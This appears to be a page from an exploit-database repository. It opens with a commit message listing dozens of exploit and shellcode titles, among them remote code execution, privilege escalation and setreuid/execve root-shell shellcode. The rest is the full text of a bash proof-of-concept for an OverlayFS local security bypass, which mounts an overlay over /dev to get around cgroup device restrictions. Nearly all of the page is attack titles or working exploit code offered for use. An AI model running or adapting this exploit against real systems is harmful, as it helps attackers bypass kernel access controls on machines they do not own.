880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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1.4 KiB
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Executable file
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1.4 KiB
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#source: https://www.securityfocus.com/bid/51529/info
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#OverlayFS is prone to a local security-bypass vulnerability.
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#Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions.
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#!/bin/bash
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ddir=`cat /proc/self/mountinfo | grep cgroup | grep devices | awk '{ print $5 }'`
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if [ "x$ddir" = "x" ]; then
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echo "couldn't find devices cgroup mountpoint"
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exit 1
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fi
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# create new cgroup
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ndir=`mktemp -d --tmpdir=$ddir exploit-XXXX`
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# create a directory onto which we mount the overlay
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odir=`mktemp -d --tmpdir=/mnt exploit-XXXX`
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# create the directory to be the overlay dir (where changes
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# will be written)
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udir=`mktemp -d --tmpdir=/tmp exploit-XXX`
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mount -t overlayfs -oupperdir=$udir,lowerdir=/dev none $odir
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echo $$ > $ndir/tasks
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# deny all device actions
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echo a > $ndir/devices.deny
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# but allow mknod of tty7, bc we have to mknod it in the writeable
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# overlay
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echo "c 4:5 m" > $ndir/devices.allow
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echo "devices.list: XXXXXXXXXXXXXXX"
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cat $ndir/devices.list
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echo "XXXXXXXXXXXX"
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# try writing to /dev/tty5 - not allowed
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echo x > /dev/tty5
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echo "write to /dev/tty5 returned $?"
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# try writing to tty5 on the overlayfs - SHOULD not be allowed
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echo y > $odir/tty5
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echo "write to $odir/tty5 returned $?"
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umount $odir
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rmdir $odir
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rm -rf $udir
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# move ourselves back to root cgroup (else we can't delete the temp one
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# bc it's occupied - by us)
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echo $$ > $ddir/tasks
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rmdir $ndir |